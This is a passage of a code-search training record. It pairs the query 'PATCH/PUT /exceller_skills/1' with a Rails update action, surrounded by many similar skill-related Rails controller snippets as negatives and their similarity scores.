@skill\n\n format.html { redirect_to @skill, notice: 'Skill was successfully created.' }\n format.json { render :show, status: :created, location: @skill }\n else\n format.html { render :new }\n format.json { render json: @skill.errors, status: :unprocessable_entity }\n end\n end\n else\n current_user.skills << @skill\n respond_to do |format|\n format.html { redirect_to @skill, notice: 'Skill was successfully added to your Profile. ' }\n format.json { render :show, status: :created, location: @skill }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to skills_path, :flash => { :error => \"This Skill already Exists\" } }\n end\n end\n end", "def skill_params\n params.permit(:name, :assignee_id, :assignee_name, :user_id) #.require(:skill) figure out what this does\n end", "def skill_params\n params.require(:skill).permit(:skill_category_id, :name, :description, :approved)\n end", "def skill_params\n params.require(:skill).permit(:title, :percent_used, :badge)\n end", "def learnable_skill_params\n params.require(:learnable_skill).permit(:chara_type, :job_id, :skill_no, :sp, :skill_id)\n end", "def skill_params\n params.require(:skill).permit(:title, :percen_utilized)\n end", "def skill_params\n params.require(:skill).permit( :name, :skill_category_id )\n end", "def skills\n respond_with get_tags_for_contexts([\"skills\", \"reject_skills\"], params[:exclude_tags])\n end", "def create\n # 検証。同一スキルカテゴリIDかつ同一スキル名を持っている場合はエラー\n @exist = Skill.where(skill_category_id: skill_params[:skill_category_id]).where(skill_name: skill_params[:skill_name])\n\n @skill = Skill.new(skill_params)\n @skill.has_learning_level=true\n \n logger.debug(\"skill\")\n logger.debug(@skill)\n\n if @exist.present? \n render json:{errors: 'already exists.', status: :unprocessable_entity }\n else\n if @skill.save\n render json:{skill: @skill}\n else\n render json:{errors: @skill.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def create\n @projects_skill = ProjectsSkill.new(projects_skill_params)\n\n respond_to do |format|\n if @projects_skill.save\n format.html { redirect_to @projects_skill, notice: 'Projects skill was successfully created.' }\n format.json { render :show, status: :created, location: @projects_skill }\n else\n format.html { render :new }\n format.json { render json: @projects_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @crew_skill = CrewSkill.new(crew_skill_params)\n\n respond_to do |format|\n if @crew_skill.save\n format.html { redirect_to @crew_skill, notice: 'Crew skill was successfully created.' }\n format.json { render :show, status: :created, location: @crew_skill }\n else\n format.html { render :new }\n format.json { render json: @crew_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @special_skill = SpecialSkill.new(special_skill_params)\n\n respond_to do |format|\n if @special_skill.save\n format.html { redirect_to @special_skill, notice: 'Special skill was successfully created.' }\n format.json { render :show, status: :created, location: @special_skill }\n else\n format.html { render :new }\n format.json { render json: @special_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user_work_experience_role_id = params[:user_work_skill][:user_work_experience_role_id]\n\n @user_work_experience_role = UserWorkExperienceRole.find_by_id(user_work_experience_role_id)\n @user_work_skill = @user_work_experience_role.user_work_skills.new(user_work_skill_params)\n\n respond_to do |format|\n puts \"ACTION: ATTEMPTING TO SAVE\" \n \n if @user_work_skill.save\n puts \"SAVED: SAVED SUCCESS\"\n format.html { redirect_to action: \"index\", :user_work_experience_role_id => user_work_experience_role_id}\n format.json { render :show, status: :created, location: @user_work_skill }\n else\n @user_work_skill.errors.full_messages.each do |message|\n puts \"ERROR : #{message}\"\n end\n\n\n format.html { render :new }\n format.json { render json: @user_work_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_skills(skill_names,created_by_id)\r\n job_seeker = JobSeeker.find(created_by_id)\r\n JobSeekerProficiency.delete_all(\"job_seeker_id = '#{self.id}'\")\r\n \r\n for skill in skill_names\r\n\r\n skill_split = skill.split(\"__\");\r\n skill_obj = Proficiency.find_by_name(skill_split[0])\r\n if skill_obj.nil?\r\n skill_obj = Proficiency.create({:name=>skill_split[0],:created_by=>created_by_id,:activated=>\"0\"})\r\n end\r\n\r\n JobSeekerProficiency.create!(:job_seeker_id => created_by_id, :proficiency_id => skill_obj.id, :education_id => skill_split[1].split(\"_\")[0], :skill_id => skill_split[2].split(\"_\")[0])\r\n\r\n end\r\n end", "def create\n @current_skill = CurrentSkill.new(current_skill_params)\n\n respond_to do |format|\n if @current_skill.save\n format.html { redirect_to @current_skill, notice: 'Current skill was successfully created.' }\n format.json { render :show, status: :created, location: @current_skill }\n else\n format.html { render :new }\n format.json { render json: @current_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @employee_skill = EmployeeSkill.new(params[:employee_skill])\n\n respond_to do |format|\n if @employee_skill.save\n format.html { redirect_to(@employee_skill, :notice => 'EmployeeSkill was successfully created.') }\n format.xml { render :xml => @employee_skill, :status => :created, :location => @employee_skill }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @employee_skill.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @mostsmallskill = Mostsmallskill.new(params[:mostsmallskill])\n\n respond_to do |format|\n if @mostsmallskill.save\n format.html { redirect_to @mostsmallskill, notice: 'Mostsmallskill was successfully created.' }\n format.json { render json: @mostsmallskill, status: :created, location: @mostsmallskill }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mostsmallskill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @skill = Skill.new(params[:skill])\n\t\tauthorize! :create, Skill\n\t\n respond_to do |format|\n if @skill.save\n format.html { redirect_to skills_path, notice: 'Skill was successfully created.' }\n format.json { render json: @skill, status: :created, location: @skill }\n else\n format.html { render action: \"new\" }\n format.json { render json: @skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload_skills\n puts 'Uploading Skills'\n\n skills_file = 'lib/textfiles/skills.txt'\n skills = []\n text = File.open(skills_file).read\n text.each_line do |line|\n tokens = line.split(\"\\t\").map(&:chomp)\n skills << Skill.new(category: tokens[0], name: tokens[1])\n end\n Skill.import(skills)\n end", "def create\n @skill_name = SkillName.new(skill_name_params)\n\n respond_to do |format|\n if @skill_name.save\n format.html { redirect_to :back, notice: 'Skill name was successfully created.' }\n format.json { render :show, status: :created, location: @skill_name }\n else\n format.html { render :new }\n format.json { render json: @skill_name.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @s_skill = SSkill.new(s_skill_params)\n\n respond_to do |format|\n if @s_skill.save\n format.html { redirect_to @s_skill, notice: 'S skill was successfully created.' }\n format.json { render :show, status: :created, location: @s_skill }\n else\n format.html { render :new }\n format.json { render json: @s_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @skill_level = SkillLevel.new(skill_level_params)\n\n respond_to do |format|\n if @skill_level.save\n format.html { redirect_to @skill_level, notice: 'Skill level was successfully created.' }\n format.json { render :show, status: :created, location: @skill_level }\n else\n format.html { render :new }\n format.json { render json: @skill_level.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n byebug\n @skill_user_profile = SkillUserProfile.new(skill_user_profile_params)\n\n if @skill_user_profile.save\n render json: @skill_user_profile, status: :created, location: @skill_user_profile\n else\n render json: @skill_user_profile.errors, status: :unprocessable_entity\n end\n end", "def new_skill_params\n params.require(:new_skill).permit(:skill_id)\n end", "def desired_skill_params\n params.require(:desired_skill).permit(:user_id, :skill_id)\n end", "def create\n @skillinstance = Skillinstance.new(params[:skillinstance])\n\n respond_to do |format|\n if @skillinstance.save\n format.html { redirect_to @skillinstance, notice: 'Skillinstance was successfully created.' }\n format.json { render json: @skillinstance, status: :created, location: @skillinstance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @skillinstance.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @seeker = Seeker.new(seeker_params)\n @seeker.user_id = User.find(session[:user_id]).uid\n @seeker.skill_list.add(params[:seeker][:skill_list].to_s.downcase, parse: true)\n\n respond_to do |format|\n if @seeker.save\n format.html { redirect_to root_path, notice: 'Seeker was successfully created.' }\n format.json { render action: 'show', status: :created, location: @seeker }\n else\n format.html { render action: 'new' }\n format.json { render json: @seeker.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @skills = Skill.all\n\n render json: @skills\n end", "def skillset_params\n params.require(:skillset).permit(:employee_id, :name, :skill_level)\n end", "def create\n @computer_skill = ComputerSkill.new(computer_skill_params)\n\n respond_to do |format|\n if @computer_skill.save\n format.html { redirect_to user_computer_skills_path, notice: 'Computer skill was successfully created.' }\n format.json { render :show, status: :created, location: @computer_skill }\n else\n format.html { render :new }\n format.json { render json: @computer_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @areas_skill = AreasSkill.new(areas_skill_params)\n\n respond_to do |format|\n if @areas_skill.save\n format.html { redirect_to @areas_skill, notice: 'Areas skill was successfully created.' }\n format.json { render :show, status: :created, location: @areas_skill }\n else\n format.html { render :new }\n format.json { render json: @areas_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_skill!(options)\n skill = Skill.new\n \n # Defailt values\n skill.character_class = self\n skill.skill_type = 1 # Defaults to \"attack skill\"\n skill.min_level = 1\n skill.formula = 'level'\n \n options.each do |key,value|\n skill.[]= key, value\n end\n \n return skill if skill.save\n return nil\n end", "def create\n @currency = Currency.all\n @time_unity = TimeUnity.all\n @project = current_user.projects.build(project_params)\n\n # Create ProjectSkill\n params[:skills][:id].each do |skill|\n if !skill.empty?\n @project.project_skills.build(skill_id: skill)\n end\n end\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to project_show_path(@project), notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: project_show_path(@project)}\n else\n format.html { render :new, alert: 'Error.' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def skillset_params\n params.require(:skillset).permit(:skill, :hours_studied, :code, :subject_id)\n end", "def create\n @project = Project.new(params[:project])\n @project.skills = params[:skills]\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @employee = Employee.new(employee_params)\n @skills = Skill.where(:id => params[:organizing_team])\n @employee.skills << @skills\n set_avatar\n \n respond_to do |format|\n if @employee.save\n format.html { redirect_to @employee, notice: 'Employee was successfully created.' }\n format.js\n format.json { render :show, status: :created, location: @employee }\n else\n format.html { render :new }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @individual_skill_record = IndividualSkillRecord.new(params[:individual_skill_record])\n\n respond_to do |format|\n if @individual_skill_record.save\n format.html { redirect_to @individual_skill_record, :notice => 'Individual skill record was successfully created.' }\n format.json { render :json => @individual_skill_record, :status => :created, :location => @individual_skill_record }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @individual_skill_record.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @exceller_skills = ExcellerSkill.all\n end", "def skill_params\n params.require(:skill).permit(:name,:user_id)\n end", "def create\n @other_skill = OtherSkill.new(other_skill_params)\n\n respond_to do |format|\n if @other_skill.save\n format.html { redirect_to other_skills_url, notice: 'Other skill was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def crew_skill_params\n params.require(:crew_skill).permit(:crew_id, :skill_id)\n end", "def create\n @opening_skill = OpeningSkill.new(opening_skill_params)\n\n respond_to do |format|\n if @opening_skill.save\n format.html { redirect_to @opening_skill, notice: 'Opening skill was successfully created.' }\n format.json { render :show, status: :created, location: @opening_skill }\n else\n format.html { render :new }\n format.json { render json: @opening_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def s_skill_params\n params.require(:s_skill).permit(:name, :desc, :difficulty, :first_attribute, :second_attribute)\n end", "def create\n @skill_tag = SkillTag.new(params[:skill_tag])\n\n respond_to do |format|\n if @skill_tag.save\n format.html { redirect_to @skill_tag, :notice => 'Hidden job was successfully created.' }\n format.json { render :json => @skill_tag, :status => :created, :location => @skill_tag }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @skill_tag.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @skillset = Skillset.new(skillset_params)\n\n respond_to do |format|\n if @skillset.save\n format.html { redirect_to @skillset, notice: 'Skillset was successfully created.' }\n format.json { render :show, status: :created, location: @skillset }\n else\n format.html { render :new }\n format.json { render json: @skillset.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @unsaved_skills = []\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @skill }\n end\n end", "def myskill_params\n params.require(:myskill).permit(:title)\n end", "def create\n @skill_set = SkillSet.new(params[:skill_set])\n\n respond_to do |format|\n if @skill_set.save\n format.html { redirect_to @skill_set, notice: 'Skill set was successfully created.' }\n format.json { render json: @skill_set, status: :created, location: @skill_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @skill_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def skill_name_params\n params.require(:skill_name).permit(:name)\n end", "def update\n respond_to do |format|\n @skills = Skill.all\n if @engineer.update(engineer_params)\n skills = []\n params['skills'].each do |skill|\n if skill[1]['year'].to_i > 0 || skill[1]['level'].to_i > 0\n skills.push({\n :skill_id => skill[1]['id'].to_i,\n :engineer_id => @engineer.id,\n :years_of_experience => skill[1]['year'],\n :level => skill[1]['level'] \n })\n end\n end\n pp skills\n EngineerSkill.insert_engineer_skills(skills)\n format.html { redirect_to @engineer, notice: 'プロフィールが正常に更新されました' }\n else\n @errors = @engineer.errors\n format.html { render :edit, notice: @errors }\n end\n end\n end", "def new\n @skill = @user.skills.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @skill }\n end\n end", "def create\n @employee = Employee.find(params[:skillset][:employee_id])\n @skillset = Skillset.new(skillset_params)\n ActiveRecord::Base.transaction do\n respond_to do |format|\n if @skillset.save\n len = params['skillset'].length - 2\n for i in 2..len\n Skillset.create(employee_id: params['skillset']['employee_id'], name: params['skillset'][i.to_s]['name'], skill_level: params['skillset'][i.to_s]['skill_level'])\n end\n @skillsets = @employee.skillsets\n EmployeeMailer.skillset_create(@employee,@skillset).deliver_now\n flash[:notice] = 'skillset was successfully created'\n format.html { redirect_to @skillset, notice: 'Skillset was successfully created.' }\n format.json { render :show, status: :created, location: @skillset }\n format.js { @flag = true }\n else\n format.html { render :new }\n format.json { render json: @skillset.errors, status: :unprocessable_entity }\n format.js { @flag = false }\n end\n end\n end\n end", "def create\n @person = Person.new(person_params)\n @person.user_id= current_user.id \n respond_to do |format|\n if @person.save\n if params[:skillid]!=nil\n params[:skillid].each do |i| \n\t\t @person.skills << Skill.find_by_id(i)\n\t\tend\n\t\tend\n format.html { redirect_to @person }\n format.json { render :show, status: :created, location: @person }\n else\n org=Organization.where( :user_id =>current_user.id)\n\t\tif org.nil?\n\t\t@groups=org.first.groups\n\t\t@skills=@groups.first.skills\n\t\telse\n\t\t@groups=Group.where( :user_id =>current_user.id)\n\t\t@skills=Skill.where( :user_id =>current_user.id)\n end\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @skillset = Skillset.new(skillset_params)\n\n respond_to do |format|\n if @skillset.save\n format.html { redirect_to @skillset, notice: 'Skillset was successfully created.' }\n format.json { render action: 'show', status: :created, location: @skillset }\n else\n format.html { render action: 'new' }\n format.json { render json: @skillset.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @skill = Skill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @skill }\n end\n end", "def list_skills\n\t\trender json: Skill.where(language_id: params[:language_id]).to_json\n\tend", "def create\n @experience = Experience.new(experience_params)\n\n respond_to do |format|\n if @experience.save\n format.html { redirect_to @experience, notice: 'Experience was successfully created.' }\n format.json { render :show, status: :created, location: @experience }\n else\n format.html { render :new }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @culinary_skill = CulinarySkill.new(culinary_skill_params)\n\n respond_to do |format|\n if @culinary_skill.save\n format.html { redirect_to culinary_skills_path, notice: 'Culinary skill was successfully created.' }\n format.json { render :show, status: :created, location: @culinary_skill }\n format.js\n else\n format.html { render :new }\n format.json { render json: @culinary_skill.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def create\n @buildskill = Buildskill.new(buildskill_params)\n\n respond_to do |format|\n if @buildskill.save\n format.html { redirect_to @buildskill, notice: 'Buildskill was successfully created.' }\n format.json { render :show, status: :created, location: @buildskill }\n else\n format.html { render :new }\n format.json { render json: @buildskill.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @issue_skills = IssueSkill.all\n render json: @issue_skills\n end", "def create\n @user_skill_form = UserSkillForm.new(user_skill_params)\n\n respond_to do |format|\n if @user_skill_form.save(get_current_user_id)\n format.html { redirect_to user_skills_url, notice: 'User skill was successfully updated.' }\n format.json { render :index, status: :created, location: @user_skill_form }\n else\n format.html { render :index }\n format.json { render json: @user_skill_form.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @experience = Experience.new(experience_params)\n @experience.user_id = current_user.id\n\n respond_to do |format|\n if @experience.save\n format.html { redirect_to app_employees_index_path, notice: 'Experience was successfully created.' }\n format.json { render :show, status: :created, location: @experience }\n else\n format.html { render :new }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def user_skill_params\n params.require(:user_skill_form).permit(:skill_3380,:skill_3388)\n end", "def create\n @skill = Skill.new(skill_params)\n respond_to do |format|\n if @skill.save\n if @skill.approved == true # approved value is true if it is created by the Admin user\n format.html { redirect_to skill_categories_path, notice: 'Skill was successfully created.' }\n format.json { render :show, status: :created, location: @skill }\n else # approved value is false if it's created by the Host or Candidate, and it requires Admin's approval\n @candidate_skill = CandidateSkill.create(user_id: current_user.id, skill_id: @skill.id)\n @candidate_skill.save!\n NewlyAddedSkillMailer.approve_new_skill(@skill.id, current_user.id).deliver_now\n # format.html { redirect_to @skill, notice: 'Skill was successfully created.' }\n if params[:oppo_id].present?\n format.html { redirect_to required_skills_path(oppo_id: params[:oppo_id]), notice: 'Skill was successfully created.' }\n format.json { render :show, status: :created, location: @skill }\n else\n format.html { redirect_to my_skills_path, notice: 'Skill was successfully created.' }\n format.json { render :show, status: :created, location: @skill }\n end\n end\n else\n format.html { render :new }\n format.json { render json: @skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @skill_inventory = SkillInventory.new(skill_inventory_params)\n\n respond_to do |format|\n if @skill_inventory.save\n format.html { redirect_to @skill_inventory, notice: 'Skill inventory was successfully created.' }\n format.json { render :show, status: :created, location: @skill_inventory }\n else\n format.html { render :new }\n format.json { render json: @skill_inventory.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @skill_suggestion = SkillSuggestion.new(params[:skill_suggestion])\n\n respond_to do |format|\n if @skill_suggestion.save\n format.html { redirect_to @skill_suggestion, notice: 'Skill suggestion was successfully created.' }\n format.json { render json: @skill_suggestion, status: :created, location: @skill_suggestion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @skill_suggestion.errors, status: :unprocessable_entity }\n end\n end\n end", "def profession_skill_params\n params.require(:profession_skill).permit(:title)\n end", "def create\n @crew_member_skill = CrewMemberSkill.new(params[:crew_member_skill])\n\n respond_to do |format|\n if @crew_member_skill.save\n format.html { redirect_to @crew_member_skill, notice: 'Crew member skill was successfully created.' }\n format.json { render json: @crew_member_skill, status: :created, location: @crew_member_skill }\n else\n format.html { render action: \"new\" }\n format.json { render json: @crew_member_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def experience_params\n params.require(:experience).permit(:idExperiences, :Persons_idUser, :dateStarted, :dateFinished,\n :JobTitles_idJobTitles, :other_jobtitle, :keyDuties, :EmploymentLevels_idLevelsOfEmployment, :employerName,\n :verified, :howVerified)\n end", "def skill_list_params\n params.require(:skill_list).permit(:title, :experience_length, :user_rating, :admin_rating, :user_notes, :admin_notes, :date_rated, :link)\n end", "def add_skills(skill_hash)\n char_skill_levels = self.skill_levels\n \n update_hash = Hash.new\n \n # For each character skill_level, index the \n # skill_level object with the skill name\n char_skill_levels.each do |sk|\n update_hash[sk.skill.name] = sk\n end\n\n skill_hash.each do |name, value|\n begin\n update_hash[name].level = value\n rescue NoMethodError\n sk = Skill.find_by_name( name )\n sl = SkillLevel.new\n sl.level = value\n sl.skill = sk\n skill_levels << sl\n end\n end\n \n update_hash.each do |k,v|\n v.save if v.changed?\n end\n end" ]
[ "0.70029616", "0.6847983", "0.6817788", "0.6723002", "0.6631397", "0.66188574", "0.65925556", "0.65810966", "0.65613943", "0.6559059", "0.6549656", "0.6543035", "0.6491317", "0.6480751", "0.6476689", "0.6459616", "0.6455505", "0.64239615", "0.6409331", "0.63952124", "0.63932616", "0.6365588", "0.6326887", "0.63230246", "0.632225", "0.6304055", "0.6302553", "0.6272555", "0.62643635", "0.62582755", "0.6249975", "0.6242694", "0.62148577", "0.6213247", "0.62092537", "0.62063074", "0.62039876", "0.618856", "0.61790735", "0.61782295", "0.61774373", "0.61739975", "0.61571294", "0.6148422", "0.61409515", "0.6139438", "0.61036885", "0.6087229", "0.6085057", "0.6081793", "0.6081245", "0.6071069", "0.606871", "0.60660547", "0.60490465", "0.6010036", "0.59922904", "0.59876996", "0.5983571", "0.5978646", "0.59747154", "0.5968919", "0.5958956", "0.59582347", "0.59498096", "0.59316033", "0.5918763", "0.59072113", "0.5900956", "0.590016", "0.58959717", "0.58915025", "0.58865666", "0.58786327", "0.5872569", "0.58612514", "0.5849806", "0.58357316", "0.5830281", "0.5829018", "0.5827428", "0.58241427", "0.5814146", "0.58118135", "0.5796428", "0.57948875", "0.5786592", "0.5779628", "0.5778127", "0.57740057", "0.5771424", "0.5769563", "0.57691634", "0.5756731", "0.5747593", "0.5728286", "0.571778", "0.57139003", "0.5711163", "0.5707614" ]
0.7116777
0
PATCH/PUT /exceller_skills/1 PATCH/PUT /exceller_skills/1.json
def update respond_to do |format| if @exceller_skill.update(exceller_skill_params) format.html { redirect_to @exceller_skill, notice: 'Exceller skill was successfully updated.' } format.json { render :show, status: :ok, location: @exceller_skill } else format.html { render :edit } format.json { render json: @exceller_skill.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @skill = Skill.find(params[:id])\n\n if @skill.update(skill_params)\n head :no_content\n else\n render json: @skill.errors, status: :unprocessable_entity\n end\n end", "def update\n @admin_skill = Admin::Skill.find(params[:id])\n\n if @admin_skill.update(admin_skill_params)\n head :no_content\n else\n render json: @admin_skill.errors, status: :unprocessable_entity\n end\n end", "def update\n @skill = Skill.find(params[:id])\n\n respond_to do |format|\n if @skill.update_attributes(params[:skill])\n format.html { redirect_to @skill, notice: 'Skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @desired_skill.update(desired_skill_params)\n format.html { redirect_to @desired_skill, notice: 'Desired skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @desired_skill }\n else\n format.html { render :edit }\n format.json { render json: @desired_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @create_request_skill = CreateRequestSkill.find(params[:id])\n\n respond_to do |format|\n if @create_request_skill.update_attributes(params[:create_request_skill])\n format.html { redirect_to @create_request_skill, notice: 'Create request skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @create_request_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @talent = Talent.find(params[:id])\n \n # Check if the array exists\n if params[:talent][:skill_ids]\n # Unset skills that have not been selected\n params[:talent][:skill_ids] ||= []\n else\n # if the array doesn't exist then delete all the skills associated\n # If it doesn't exist then the user un-checked all the skills\n @talent.skills.delete_all\n end \n \n respond_to do |format|\n if @talent.update_attributes(params[:talent])\n format.html { redirect_to @talent, :notice => 'Talent was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @talent.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @skill.update(skill_params)\n format.html { redirect_to @skill, notice: 'Skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @skill }\n else\n format.html { render :edit }\n format.json { render json: @skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @skill.update(skill_params)\n format.html { redirect_to @skill, notice: 'Skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @skill }\n else\n format.html { render :edit }\n format.json { render json: @skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @profession_skill.update(profession_skill_params)\n format.html { redirect_to @profession_skill, notice: 'Profession skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @profession_skill }\n else\n format.html { render :edit }\n format.json { render json: @profession_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @mostsmallskill = Mostsmallskill.find(params[:id])\n\n respond_to do |format|\n if @mostsmallskill.update_attributes(params[:mostsmallskill])\n format.html { redirect_to @mostsmallskill, notice: 'Mostsmallskill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mostsmallskill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @skill = @user.skills.find(params[:id])\n\n respond_to do |format|\n if @skill.update_attributes(params[:skill])\n flash[:notice] = 'Skill was successfully updated.'\n format.html { redirect_to(user_skills_path(@user)) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "def update\n @skill_set = SkillSet.find(params[:id])\n\n respond_to do |format|\n if @skill_set.update_attributes(params[:skill_set])\n format.html { redirect_to @skill_set, notice: 'Skill set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @skill_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user_skill = UserSkill.find(params[:id])\n\n respond_to do |format|\n if @user_skill.update_attributes(params[:user_skill])\n format.html { redirect_to @user_skill, notice: 'User skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @employee.skills.destroy_all\n employee_find_skills\n set_avatar\n\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @current_skill.update(current_skill_params)\n format.html { redirect_to @current_skill, notice: 'Current skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @current_skill }\n else\n format.html { render :edit }\n format.json { render json: @current_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @skill = current_user.skills.find(params[:id])\n\n respond_to do |format|\n if @skill.update_attributes(params[:skill])\n flash[:notice] = 'Skill was successfully updated.'\n format.html { redirect_to(user_skills_path(current_user)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @skill.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @issue_skill.update(issue_skill_params)\n render json: @issue_skill\n # respond_to do |format|\n # if @issue_skill.update(issue_skill_params)\n # format.html { redirect_to @issue_skill, notice: \"Issue skill was successfully updated.\" }\n # format.json { render :show, status: :ok, location: @issue_skill }\n # else\n # format.html { render :edit, status: :unprocessable_entity }\n # format.json { render json: @issue_skill.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def update\n @skill = Skill.find(params[:id])\n\t\tauthorize! :update, Skill\n\t\t\n respond_to do |format|\n if @skill.update_attributes(params[:skill])\n format.html { redirect_to skills_path, notice: 'Skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @employee_skill = EmployeeSkill.find(params[:id])\n\n respond_to do |format|\n if @employee_skill.update_attributes(params[:employee_skill])\n format.html { redirect_to(@employee_skill, :notice => 'EmployeeSkill was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @employee_skill.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @person.update(person_params)\n @person.skills.delete_all\n if params[:skillid]!= nil\n params[:skillid].each do |i| \n\t\t @person.skills << Skill.find_by_id(i)\n\t\tend\n\t\tend\n format.html { redirect_to @person }\n format.json { render :show, status: :ok, location: @person }\n else\n @groups=@person.group.organization.groups.all\n @skills=@person.group.skills.all\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @project_request = ProjectRequest.find(params[:id])\r\n @current_date = DateTime.now\r\n\r\n @project_request.relevant_skill = params[:relevant_skill].to_a\r\n @project_request.relevant_skill = @project_request.relevant_skill.join(\", \")\r\n @skills = Skill.all \r\n respond_to do |format|\r\n if @project_request.update_attributes(params[:project_request])\r\n @project_request.update_request_status(@project_request) \r\n format.html { redirect_to _my_requests_path }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @project_request.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @myskill.update(myskill_params)\n format.html { redirect_to @myskill, notice: 'Myskill was successfully updated.' }\n format.json { render :show, status: :ok, location: @myskill }\n else\n format.html { render :edit }\n format.json { render json: @myskill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @experience = Experience.find(params[:id])\n respond_to do |format|\n if @experience.update_attributes(params[:experience])\n format.html { redirect_to @experience, notice: 'Experience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @request = @skill.requests.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to myrequests_path, notice: 'request was successfully updated.' }\n format.json { head 